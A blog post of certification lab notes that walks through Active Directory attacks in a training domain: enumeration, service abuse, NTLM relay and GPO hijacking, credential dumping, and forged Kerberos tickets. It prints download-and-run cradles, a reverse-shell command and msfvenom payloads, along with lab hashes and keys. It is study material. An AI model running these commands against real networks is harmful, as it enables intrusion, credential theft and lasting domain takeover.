CRTP Notes: Breaking Down dollarcorp.moneycorp.local
CRTP Review and Field Notes
I went through the CRTP (Certified Red Team Professional) lab a while back, and instead of letting my scratch notes rot in a folder, I’m cleaning them up and putting them here. If you’re prepping for the exam or just want a refresher on how an AD attack path actually strings together in Altered Security’s dollarcorp.moneycorp.local lab, this should save you some time.
A couple of things before we dive in. First, this isn’t a “here’s every PowerView cmdlet” dump — there are cheat sheets for that already (I’ve linked two good ones below). This is closer to how I actually worked through the objectives, including the dead ends and the “oh, that’s why it didn’t work” moments. Second, every hash, SID, and password you’ll see further down came out of the training lab itself, not a real client environment — the lab is shared infrastructure that thousands of students have already poked at, so none of it is sensitive.
References I kept coming back to:
- CRTP Notes repo: https://github.com/sec-fortress/CRTP-Notes/tree/main
- Companion notes: https://hackmd.io/@michellenovenda/S1bBSXdckl
Getting comfortable with offensive PowerShell first
Before touching AD at all, it’s worth being fluent in how you get code running and how you’re being watched while you do it.
Loading tooling. You’ll mostly do one of two things — dot-source a script to pull its functions into your current session:
1 | . C:\Users\inferno\Desktop\powerview.ps1 |
or import it as a proper module (a module really is just a packaged-up set of functions):
1 | Import-Module C:\Users\inferno\Desktop\ActiveDirectory.psd1 |
Once it’s loaded, Get-Command -Module <module_name> tells you everything it exposes.
Pulling scripts in-memory. For remote execution without touching disk, the classic is:
1 | IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/evil.ps1') |
Invoke-Expression just runs a string as PowerShell code — docs here if you’ve never read through them.
What’s watching you. This is the part people skip and then get surprised in the exam/real engagement. Three things to keep in your head at all times:
| Mechanism | What it does |
|---|---|
| System-wide transcription | Logs every command and its output, for every PowerShell session |
| Script Block Logging | Logs the de-obfuscated content of whatever script block actually ran (Splunk’s writeup is a good primer) |
| AMSI | Sits in front of execution and hands your script content to whatever AV/EDR is registered — basically a parser bolted onto the antivirus engine (MS docs, background on bypassing it) |
Keep these in mind for literally everything that follows — half of the “evasive” tooling you’ll see later exists purely to dodge this table.
Enumerating the domain
Two tools do the heavy lifting here: the built-in AD Module (Microsoft-signed, so it’s the stealthier pick since it’s expected to be there) and PowerView, which is built on top of it but does a lot more.
1 | Import-Module .\PowerView.ps1 |
Domain-level info first:
1 | Get-Domain |
Then users, computers, groups:
1 | Get-DomainUser | select <properties> |
For share hunting at scale, NetSPI’s PowerHuntShares is worth having in your kit.
Automated collection. At some point you stop doing this by hand and let BloodHound chew on the graph for you. SharpHound is the standard collector (LDAP queries); SoapHound is the quieter option since it rides ADWS instead:
1 | # SharpHound |
1 | # SoapHound - stealthier, uses ADWS instead of LDAP |
How this actually played out in the lab. Enumerating a single user:
1 | Get-DomainUser -Properties samaccountname -Identity student421 |
All computers in the domain:
1 | Get-DomainComputer |
Tracking down Domain Admins meant starting from the built-in Administrators group, which resolved to the Administrator user plus the Enterprise Admins and Domain Admins groups. The twist — Enterprise Admins actually lives in the parent domain, so querying it means specifying that context explicitly:
1 | Get-DomainGroup -Identity "Enterprise Admins" -Domain moneycorp.local |
This is one of those things that trips people up on the exam: being in a child domain does not hand you that parent group’s membership for free. You have to go ask for it in the parent’s context.
The lab flag I landed on here: S-1-5-21-335606122-960912869-3279953914-500
ACL enumeration — where most privesc paths actually live
1 | Get-DomainObjectAcl -SamAccountName student421 -ResolveGUIDs |
If you want the fast path, skip straight to:
1 | Find-InterestingDomainAcl |
It surfaces every ACE worth looking twice at in one pass. Cavementech has a solid ACL abuse primer if you want the theory behind why these matter.
Reading an ACE is pattern-matching once you get it: security principal X has ActiveDirectoryRights Y over object DN Z. To turn a SID into something readable:
1 | ConvertFrom-SID "S-1-5-21-719815819-3726368948-3917688648-517" -Domain dollarcorp.moneycorp.local |
One finding from the lab that’s a good example of “this shouldn’t exist but does”: Cert Publishers had ReadProperty/WriteProperty on the Domain Admins group object.
Targeting your search. Where does student421 have interesting rights?
1 | Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "student421"} |
Same question for the RDPUsers group:
1 | Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} |
Or resolve the SID up front and filter on a specific target object directly:
1 | $sid = Convert-NameToSid "RDP Users" |
This one surfaced RDP Users holding GenericAll over Control421User — full control, trivial account takeover the moment you spot it.
OUs and GPOs
Background reading if GPO internals are new to you: intro to GPOs.
OUs:
1 | Get-DomainOU # all OUs |
GPOs:
1 | Get-DomainGPO # all GPOs |
Hang onto this — the GPO abuse chain later in this post is basically this enumeration plus a few more steps.
Trusts: the part that makes AD pentesting interesting
This table is the one I referenced constantly, so I’m keeping it close to how I originally wrote it:
| Trust Type | Transitivity | Direction | SID Filtering (default) | Offensive Value |
|---|---|---|---|---|
| Parent–Child | Automatic, transitive | Bidirectional | OFF (intra-forest) | Child DA → Enterprise Admin on parent via trust-key abuse |
| Tree-Root | Automatic, transitive | Bidirectional | OFF (intra-forest) | Same trust-key abuse path as parent–child |
| Forest Trust | Transitive between the two linked forests only — doesn’t chain to a third forest | Configurable (one-way or bidirectional) | ON by default | Need a misconfigured quarantine/selective-auth gap, or legitimately granted cross-forest access |
| External | Non-transitive, only the two named domains, never reaches their children | Configurable | Historically OFF, always verify | Often legacy and forgotten — high priority for recon |
The rule of thumb I kept in my head during the exam: WITHIN_FOREST trusts (parent–child, tree-root) mean no SID filtering, which is the easiest escalation path you’ll find. Forest and external trusts need their TrustAttributes checked before you assume a forged ticket will even be accepted — don’t skip that check and waste time forging something that was never going anywhere.
Child → parent: the centerpiece attack of the course
You need this precondition first: Domain Admin in a child domain.
Why it works at all: every trust relationship is backed by a trust key, derived from the inter-domain trust account (e.g. dollarcorp$). Because SID filtering isn’t enforced on intra-forest trusts, a forged ticket carrying a foreign SID — say, the parent’s Enterprise Admins SID — gets accepted without question.
Steps, in order:
- Dump the trust key from the child DC:
1 | mimikatz # lsadump::trust /patch |
- Grab the child domain’s SID and the parent’s Enterprise Admins SID:
1 | Get-DomainSID |
- Forge an inter-realm TGT using the trust key, stuffing the parent’s Enterprise Admins SID into it:
1 | mimikatz # kerberos::golden /user:Administrator /domain:child.local /sid:<child-domain-sid> /sids:<parent-EA-sid> /rc4:<trust-key> /service:krbtgt /target:parent.local /ticket:trust_ticket.kirbi |
- Use that ticket to request a TGS against the parent. The parent DC validates it, sees the injected EA SID sitting in the PAC, and hands you Enterprise Admin.
End result: one compromised child domain turns into the entire forest. This is the moment the course clicks for most people.
Trust enumeration, the checklist version:
1 | Get-DomainTrust # trusts from your current context |
Always, always check TrustDirection, TrustType, and TrustAttributes on whatever comes back — that’s what tells you a path is theoretically usable before you waste time trying it.
Local privilege escalation, Windows edition
Token privileges you should recognize on sight
Run whoami /priv and scan for these:
| Privilege | What it buys you |
|---|---|
SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege |
The classic. Common on service accounts (IIS, SQL). Potato-family attacks (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato — pick based on build) coerce a SYSTEM token out of it. |
SeBackupPrivilege / SeRestorePrivilege |
Read/write any file, ACLs be damned. Dump SAM/SYSTEM hives or ntds.dit (reg save hklm\sam, robocopy /b) and crack offline. |
SeTakeOwnershipPrivilege |
Take ownership of literally any object — service, file, registry key — regardless of the current ACL, then grant yourself full control. |
SeDebugPrivilege |
Open a handle to any process, SYSTEM ones included, which is how you get at lsass.exe for credential dumping. |
SeLoadDriverPrivilege |
Load a kernel driver. Pair with a vulnerable signed driver (BYOVD) for kernel-level code exec. |
SeTcbPrivilege |
“Act as part of the OS.” Extremely powerful — effectively lets you forge any token. |
Service misconfigurations
Three flavors show up constantly: unquoted service paths, weak service permissions (SERVICE_CHANGE_CONFIG on a SYSTEM service), and weak filesystem permissions on the binary itself.
Unquoted service paths, worked through. Given a service path like:
1 | C:\WebServer\Abyss Web Server\abyssws.exe -service |
Windows tries each space-delimited segment as a standalone executable, in order:
C:\WebServer\Abyss.exeC:\WebServer\Abyss Web.exeC:\WebServer\Abyss Web Server\abyssws.exe← the actual binary
Drop a file at position 1 or 2 and it runs instead, inheriting whatever the service account’s privileges are — often LocalSystem.
Finding candidates:
1 | Get-WmiObject -Class win32_service | select Name, PathName, StartMode | where {$_.PathName -notmatch '"' -and $_.PathName -match ' '} |
(winPEAS flags these automatically too, if that’s in your toolkit.)
Confirming write access on the candidate directory:
1 | icacls "C:\WebServer\" |
or
1 | Get-Acl "C:\WebServer\" | fl |
Look for (M)/(W)/(F) against your own user or group — and pay extra attention when it’s Everyone, Users, or Authenticated Users holding that access.
Confirm you can actually control the service:
1 | sc qc <ServiceName> |
Then drop the payload and (re)start it:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=<you> LPORT=<port> -f exe -o Abyss.exe |
AlwaysInstallElevated
Check both registry keys:
1 | HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
Both set to 1 means any user can install an .msi with SYSTEM privileges:
1 | msfvenom -f msi -o payload.msi ... |
Other avenues worth checking
- Scheduled tasks — if a SYSTEM-run task calls something you can write to, or lives in a weak-permission folder, you can edit it directly.
schtasks /query /fo LIST /vis where you start. - DLL hijacking — if a privileged process loads a DLL without specifying the full path, Windows walks a defined search order. Plant a malicious DLL earlier in that order than the real one, and it loads in that process’s context instead.
- Stored creds / autologon —
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonsometimes still has a plaintextDefaultPasswordsitting in it. Unattended install files (unattend.xml,sysprep.inf) are another classic. Also worth checking: saved RDP/PuTTY/WinSCP sessions, browser-saved creds, andcmdkey /listfor cached credentials. PowerUp, PrivescCheck, and winPEAS will all surface most of this automatically. - Jenkins — admin access to
http://jenkins-server/scriptgives arbitrary script execution. Even without console access, a build config running Windows batch commands gets you the same place. - Relaying — NTLM and Kerberos relaying come up constantly; see the GPO abuse walkthrough below for a full worked example.
How this played out on the student VM
Running PowerUp’s Invoke-AllChecks surfaced a modifiable service file, an unquoted service path, and a DLL hijack vector in one pass. I went with the modifiable service file — swap in a payload binary matching the real one’s name, or let PowerUp’s built-in service-abuse commands do it for you. This writeup covers the theory well if you want more depth.
Finding machines where a given user has local admin:
1 | Find-PSRemotingLocalAdminAccess |
And for Jenkins specifically — default creds didn’t work, but “same password as the username” did, against local (non-domain) Jenkins accounts. Worth noting: that’s safe from DC lockout since the auth never traverses the DC. Once in, creating a project and running a reverse shell was straightforward:
1 | powershell.exe -c "iex (iwr http://172.16.100.21/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Power -Reverse -IPAddress 172.16.100.21 -Port 443" |
Lateral movement
GPO abuse — probably my favorite chain in the whole lab
The core idea: excessive rights over a GPO — WriteDACL, WriteProperty, GenericWrite, or outright edit access — let you weaponize it to push commands or scheduled tasks to every machine or user the GPO applies to. Depending on scope, that can land you straight on local admin or DA.
Why it’s possible at all: a WriteDACL flaw on a GPO lets you grant yourself edit rights. From there, editing the GPO’s backing files on SYSVOL (or spoofing where it points) lets you inject a malicious scheduled task. The next time a target refreshes its GPOs — default is roughly 90 minutes, though you can force it — your payload runs as SYSTEM or in the local machine context.
Here’s the chain exactly as I ran it in the lab:
1. The recon that kicked it off. A world-readable \\dcorp-ci\AI share had a log showing that any .lnk file dropped into it gets auto-executed as devopsadmin. Enumerating from there showed devopsadmin holding WriteDACL on the DevOps Policy GPO.
2. Set up an NTLM relay (ran this from WSL):
1 | sudo ntlmrelayx.py -t ldaps://172.16.2.1 -wh 172.16.100.x --http-port '80,8080' -i --no-smb-server |
Quick rundown of the flags: -t ldaps://<DC> is the relay target (LDAPS, since the goal is manipulating AD objects/DACLs), -wh sets the WPAD host for auth coercion, -i spins up an interactive LDAP shell on success, and --no-smb-server skips the SMB listener so it doesn’t fight with anything already bound to port 80 (HFS, in my case — I had to close that first).
3. Craft the coercion payload — a .lnk shortcut pointing at:
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest -Uri 'http://172.16.100.X' -UseDefaultCredentials" |
Dropped into the writable automation folder:
1 | xcopy C:\AD\Tools\studentx.lnk \\dcorp-ci\AI |
The automation picks it up and executes as devopsadmin, whose auth then relays straight to the ntlmrelayx listener.
4. Catch the LDAP shell:
1 | nc 127.0.0.1 11000 |
Grant your own user WriteDACL on the target GPO:
1 | write_gpo_dacl studentx {GPO-GUID} |
(If you don’t have a domain user to use, create a rogue computer account first and do the same thing to it instead: add_computer stdX-gpattack Secretpass@123 then write_gpo_dacl stdX-gpattack$ {GPO-GUID}.)
5. Weaponize it with GPOddity:
1 | sudo python3 gpoddity.py \ |
What’s happening under the hood: it pulls the legitimate GPT from SYSVOL so your clone looks normal, injects a scheduled task running your chosen command, bumps the GPO’s versionNumber so clients treat it as changed, and — the actual hijack — rewrites gPCFileSysPath on the GPC object to point at a rogue share instead of real SYSVOL. Clients just fetch GPT content from wherever that path says to look.
6. Host the rogue share:
1 | mkdir /mnt/c/AD/Tools/stdx-gp |
From an elevated prompt:
1 | net share stdX-gp=C:\AD\Tools\stdX-gp /grant:Everyone,Full |
7. Verify the hijack landed:
1 | Get-DomainGPO -Identity 'DevOps Policy' |
gpcfilesyspath should now point at \\172.16.100.X\stdX-gp instead of the real SYSVOL UNC path.
8. Wait for the refresh (about two minutes in the lab) and confirm:
1 | winrs -r:dcorp-ci cmd /c "set computername && set username" |
Got back USERNAME=studentx in a local-admin-capable context on dcorp-ci. Objective done.
What I took away from this one:
WriteDACLon a GPO is functionally the same risk as having direct edit rights — it just means you grant yourself those rights first.- GPO content isn’t validated against the real SYSVOL path by default.
gPCFileSysPathis just a pointer, and nothing stops you from redirecting it to an attacker-hosted SMB share. - Relaying a privileged account’s auth through a coerced automation execution gets you write access without ever touching that account’s actual password.
- GPOddity does the annoying parts (cloning a convincing GPT, injecting the task, updating
gPCFileSysPath/versionNumber/extensionName) automatically.
And from the defensive side, since it’s worth thinking about both ways:
- Audit GPO DACLs for non-admin principals sitting on
WriteDACL/WriteProperty/GenericWrite. - Alert on
gPCFileSysPathchanges pointing outside the domain’s real SYSVOL path. - Lock down write access on any share where automation executes files as a privileged account.
- Kill NTLM where you can, and enforce SMB/LDAP signing plus channel binding to blunt relay attacks generally.
- Synacktiv’s original GPOddity writeup is worth reading in full.
PS Remoting, WinRS, and getting at credentials
PSRemoting vs. WinRS — both ride WS-Man (WinRM) over the same default ports, 5985 for HTTP and 5986 for HTTPS, but they don’t behave identically from an OPSEC standpoint:
Enter-PSSession |
winrs |
|
|---|---|---|
| Logging | Detailed Windows event log entries | Similar, but generally less detailed |
| EDR visibility | Highly visible — tightly coupled to PowerShell monitoring, transcription, script block logging | Less commonly monitored in practice |
| Network detection | Same protocol, broadly similar | Same protocol, broadly similar |
Enter-PSSession -ComputerName PC1 runs as a high-integrity process, so you skip UAC friction entirely. winrs -r:PC1 powershell is the more OPSEC-conscious alternative when that matters.
On LSASS specifically — LSA handles Windows authentication, and LSASS is the service behind it. It holds NT hashes, AES keys, and Kerberos tickets any time someone logs on locally or via RDP, uses RunAs, runs a service, runs a scheduled task, or connects via a remote admin tool.
Worth internalizing: LSASS is simultaneously the single most useful process on a host and the single most watched one. Before you touch it directly, remember credentials are also sitting in:
- The SAM hive (registry) — local account credentials
- LSA Secrets / the SECURITY hive — service account passwords, domain cached credentials, and more
- DPAPI-protected data on disk — Credential Manager/Vault, browser cookies, certificates, Azure tokens
Mimikatz / SafetyKatz, once you do go there (good OPSEC background here):
1 | mimikatz.exe "sekurlsa::ekeys" |
With AES/RC4 keys extracted, pass-the-hash:
1 | SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:dollarcorp.moneycorp.local /aes256:<aes256key> /run:cmd.exe" "exit" |
(Rubeus can pull credentials too, if that’s already the tool you’ve got loaded.)
DCSync deserves a special mention since it’s the stealthier route to DC secrets — no code execution on the DC itself required, just a replication request. You need DA, or explicitly delegated replication rights, to pull it off:
1 | SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit" |
Chaining it all together to reach DA
The actual objective here was multi-stage: find a box with an active DA session, compromise it, and escalate — first through dcorp-ci, then derivative local admin through dcorp-adminsrv, dealing with AppLocker gaps along the way.
Here’s how the progress actually stacked up in the lab:
- Local admin landed on
dcorp-student421. Find-PSRemotingLocalAdminAccessconfirmed local admin overdcorp-adminsrv.- Jenkins abuse got local admin on
dcorp-ci. - The GPO abuse chain above added
student421to Local Admins ondcorp-ci.
Phase 1 — hunting for sessions. SessionHunter doesn’t need admin rights on the targets (it talks to Remote Registry):
1 | Invoke-SessionHunter -NoPortScan -RawResults -Targets .\servers.txt | Select-Object Hostname,UserSession,Access |
-NoPortScan skips the pre-check when you already know the hosts are up, -RawResults gives you unformatted data to filter however you want, and -Targets taking a file of FQDNs keeps the sweep targeted instead of scanning blind — good practice against things like Microsoft Defender for Identity.
PowerView’s Find-DomainUserLocation is a useful cross-check, though it needs the executing user to already have local admin on whatever it’s querying (it relies on NetSessionEnum):
1 | Find-DomainUserLocation -UserGroupIdentity "Domain Admins" |
This is what surfaced the key finding: an active svcadmin (Domain Admin) session sitting on dcorp-mgmt.
Phase 2 — pivoting through dcorp-ci. With the reverse shell from Jenkins in hand, and after bypassing AMSI and script block logging, Find-DomainUserLocation confirmed session locations. Loader.exe got deployed to dcorp-ci, then copied over SMB to dcorp-mgmt‘s admin share. A port proxy routed the payload download through a less-watched port:
1 | $null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.21" |
SafetyKatz’s evasive key dump (sekurlsa::evasive-keys) then pulled svcadmin‘s AES256 key and NTLM hash, in-memory.
Phase 3 — OverPass-the-Hash. With Rubeus, from the student VM:
1 | C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args "asktgt /user:svcadmin /domain:dcorp /aes256:<KEY> /dc:dcorp-dc /ptt" |
This requests a TGT and injects it directly (/ptt) into the local session — straight into a Domain Admin context against the DC.
There’s also a direct NTLM route for the same outcome:
1 | sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe |
Phase 4–5 — AppLocker and Constrained Language Mode on dcorp-adminsrv. Local admin there was confirmed with Find-PSRemotingLocalAdminAccess.ps1, but PSRemoting drops you into Constrained Language Mode, and AppLocker blocks .exe execution from user-writable folders like C:\Users\Public. Checking the effective policy:
1 | reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2 |
1 | Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections |
The gap that mattered: default rules let Everyone (S-1-1-0) run scripts and binaries out of %PROGRAMFILES%\* and %WINDIR%\*.
Executing under CLM without dot-sourcing or iex means hardcoding the call directly into the script body:
- Copy a template script (e.g.
Invoke-TheKat.ps1) to a new file. - Append the function call and payload invocation straight onto the end of the script — no dynamic invocation allowed, so it has to already be baked in.
- Move it into an allowed directory via
Copy-Item. - Run it directly:
C:\Program Files\script.ps1.
In the lab, this meant copying Invoke-TheKat.ps1 to Invoke-TheKatEx-keys-stdX.ps1, appending obfuscated token::evasive-elevate and sekurlsa::evasive-ekeys calls, dropping it into C:\Program Files\ on dcorp-adminsrv, and running it — which harvested appadmin, websvc, and srvadmin credentials. Swapping the trailing command to vault::cred /patch instead dumped the Windows Credential Vault and recovered a plaintext password for srvadmin.
Phase 6 — just disabling AppLocker via GPO. When the current user has GenericAll/Full Control over the AppLocker GPO itself, there’s a much more direct route:
1 | runas /user:dcorp\studentx /netonly cmd |
Navigate Policies → Windows Settings → Security Settings → Application Control Policies → AppLocker, delete the restrictive Executable Rules, then force a refresh on the target:
1 | winrs -r:dcorp-adminsrv gpupdate /force |
Result: AppLocker is fully off on dcorp-adminsrv, and Loader.exe/SafetyKatz run anywhere, including C:\Users\Public\.
The full lateral pivot summary, start to finish: srvadmin creds (via runas /netonly) → found local admin on dcorp-mgmt → pulled svcadmin‘s AES256 key with SafetyKatz → used that key for OverPass-the-Hash straight to DA.
A few things worth remembering for the exam specifically: AppLocker bypasses usually come down to misconfigured path rules (scripts/binaries permitted under %PROGRAMFILES%); CLM blocks dynamic script execution (iex, dot-sourcing, reflection), so you’re stuck with pre-compiled or hardcoded-at-the-end scripts; and a low-priv user with modification rights over a domain GPO can alter security configuration — disabling AppLocker included — entirely through legitimate tooling like gpmc.msc.
Domain dominance
Once you’ve got DA, the game shifts. Now it’s about persistence, pushing to Enterprise Admin, and abusing whatever trusts are misconfigured — almost all of it built on Kerberos ticket abuse.
Kerberos, briefly
Kerberos is the authentication service the KDC (Key Distribution Center) runs, responsible for issuing the tickets every domain client relies on to authenticate. If you want the deep dive, this is a good one.
Golden Ticket
Powerful, but loud — not something you reach for if OPSEC matters.
Every TGT is normally built around the krbtgt account’s secret key. Get that key, and you can forge a TGT locally — skipping the KDC entirely — then use it directly to request service tickets.
Getting the krbtgt hash requires DA first:
1 | C:\AD\Tools\Safetykatz.exe "lsadump::lsa /patch" |
Or pull the AES keys via DCSync instead, with no code execution needed on the DC:
1 | C:\AD\Tools\Safetykatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit" |
Why bother with a Golden Ticket instead of just using the account you already dumped? Because the Golden Ticket is signed and encrypted with krbtgt‘s hash specifically — that’s what makes it a valid TGT accepted anywhere in the domain, letting it impersonate any user with any privileges, from any machine, domain-joined or not. If you’re remediating this, the standard advice is to rotate krbtgt‘s password twice, since password history is retained for one generation back.
Forging with Rubeus:
1 | C:\AD\Tools\Rubeus.exe golden /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd |
The /ldap flag has Rubeus query the DC directly for the user’s flags, groups, pgid, min/max password age, and the domain’s NetBIOS name. If you already know these from earlier enumeration, specifying them manually is the more OPSEC-friendly move — fewer LDAP queries to leave a trail.
Worked example — grabbing a TGT for svcadmin after dumping its secret from dcorp-mgmt:
1 | C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt |
or with the NT hash instead:
1 | C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /rc4:b38ff50264b74508085d82c69794a4d8 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt |
On hash and key types — worth having straight, since mixing these up costs time:
| Type | Notes |
|---|---|
| NT hash (NTLM) | MD4 of the UTF-16LE password, unsalted, 32 hex characters. Used directly as the RC4-HMAC Kerberos key and for NTLM pass-the-hash. Weak, since unsalted means offline cracking/rainbow tables are entirely feasible. |
| RC4-HMAC (etype 0x17) | A Kerberos encryption type, not a hash itself — it uses the NT hash as the key, which is exactly why having an NT hash alone enables OverPass-the-Hash. Legacy (the default pre-Vista/2003); an RC4 AS-REQ/TGS-REQ from a modern client tends to stick out in logs (events 4768/4769 showing 0x17). |
| AES256-HMAC (etype 0x12) | A separate, independent encryption type. The key derives from the plaintext password plus salt (principal + realm) through PBKDF2-like iterations — it’s not derivable from the NT hash. This has been the modern default since Server 2008/Vista+. Getting it means you need the plaintext password, or a dump that specifically captures the AES key — LSASS, or NTDS.dit with the right tooling. A plain NTLM dump won’t get you there. |
A full DC dump, end to end, the way I ran it:
- Confirm DC access:
1 | winrs -r:dcorp-dc cmd /c "set username && set computername" |
- Upload the loader:
1 | echo F | xcopy .\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe |
- Port-forward 8080 to 80 so the payload download doesn’t trip an external-fetch flag:
1 | $null | winrs -r:dcorp-dc "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.21" |
- Connect and run against the local proxy:
1 | winrs -r:dcorp-dc cmd |
- Dump every domain user’s NT hash:
1 | lsadump::evasive-lsa /patch |
- DCSync
krbtgt‘s secrets specifically:
1 | lsadump::evasive-dcsync /user:dcorp\krbtgt |
- Generate the forging command, then run it with
/pttto inject straight into the current session:
1 | C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-golden /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd |
Why bother forging a Golden Ticket when you’re already standing on the DC with DA? Because DA access is temporary by nature:
- Active accounts can be reset or disabled at any point — access through
svcadminor the built-inAdministratoraccount dies the second someone rotates a password. - The Golden Ticket doesn’t depend on any single account staying untouched. A forged TGT built from
krbtgt‘s hash survives every other password change in the domain — it only dies ifkrbtgtitself gets reset, and that has to happen twice to fully kill it. - Getting DA is only phase one of a real engagement. Phase two is not losing it — this is how persistence actually gets established in a compromised network.
Silver Ticket
A forged service ticket rather than a TGT. Signed with the hash of whatever service account runs the target service, instead of krbtgt. Services rarely validate the PAC, and a Silver Ticket only grants access to the one service it targets, so the blast radius is a lot narrower than a Golden Ticket’s. Persistence is reasonable too — 30 days by default for computer accounts. Background here if you want the full breakdown.
1 | C:\AD\Tools\Rubeus.exe silver /service:http/dcorp-dc.dollarcorp.moneycorp.local /rc4:6e58e06e07588123319fe02feeab775d /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt |
Same /ldap behavior as the Golden Ticket command — it queries the DC for supporting user info. And the same approach forges tickets for plenty of other services on a box: HOST, RPCSS, CIFS, and more.
Diamond Ticket
Same idea as a Golden Ticket, but instead of forging a TGT from nothing, you take a legitimately issued TGT and modify it, then re-encrypt with krbtgt‘s AES256 key.
Golden Ticket = forging. Diamond Ticket = modifying something real. Persistence still hinges on krbtgt staying unrotated, but it’s noticeably more OPSEC-safe — the ticket times are legitimate since a real DC-issued TGT was the starting point, and unlike a Golden Ticket, there’s an actual matching TGT request on record to back up the subsequent TGS requests.
You’ll need the krbtgt AES key (RC4/AES of the target user also works):
1 | .\Loader.exe -path rubeus.exe -args diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\windows\System32\cmd.exe /show /ptt |
/tgtdeleg can stand in for explicit credentials when you’re operating as a regular domain user.
Skeleton Key
Patches lsass directly on a Domain Controller so it accepts one attacker-chosen password for any domain user, on top of their real one. Requires DA to set up.
1 | Safetykatz.exe '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local |
Once patched, any valid username authenticates fine with the skeleton password (mimikatz, in the lab):
1 | Enter-PSSession -ComputerName dcorp-dc -credential dcorp\Administrator |
DSRM
Every DC has a hard-coded local Administrator account stashed in its SAM file for DSRM recovery — essentially a backdoor for when AD itself is broken. If the DSRM password never gets rotated after install (very common), it’s a durable credential most defenders have completely forgotten exists. Get your hands on the DSRM hash and Pass-the-Hash gets you an admin shell. More detail here.
AdminSDHolder
AdminSDHolder exists to protect privileged domain objects (Domain Admins members, for example) from permission drift, by periodically reapplying a template ACL through the SDProp process. The abuse angle: plant a backdoor ACE directly on the AdminSDHolder object itself, and SDProp will happily propagate it back onto every protected account automatically. Details here.
Security descriptor abuse
Applying the right ACEs directly on securable remote-access objects (WMI, for instance) lets a completely normal, non-admin user authenticate through that interface. Setting this up as persistence does require admin rights at the moment you plant it, though. Reference here.
The lab objective: modify security descriptors on dcorp-dc so a normal user gets PowerShell Remoting and WMI access without needing admin rights, then retrieve the DC’s machine account hash (no admin needed for this part) to run a Silver Ticket attack for WMI code execution.
Granting student421 WMI access to the DC:
1 | Set-RemoteWMI -samaccountname student421 -ComputerName dcorp-dc -Namespace 'root\cimv2' -Verbose |
Verifying it worked:
1 | Get-WmiObject -Namespace root\cimv2 -Class Win32_OperatingSystem -ComputerName dcorp-dc -Credential dcorp\student421 |
(PowerShell Remoting access can be granted the same way, through its own security descriptor.)
- Title: CRTP Notes: Breaking Down dollarcorp.moneycorp.local
- Author: x1NF3RNOx
- Created at : 2026-10-25 00:00:00
- Updated at : 2026-10-30 20:15:23
- Link: https://redefine.ohevan.com/2026/10/25/my_crtp_notes/
- License: This work is licensed under CC BY-NC-SA 4.0.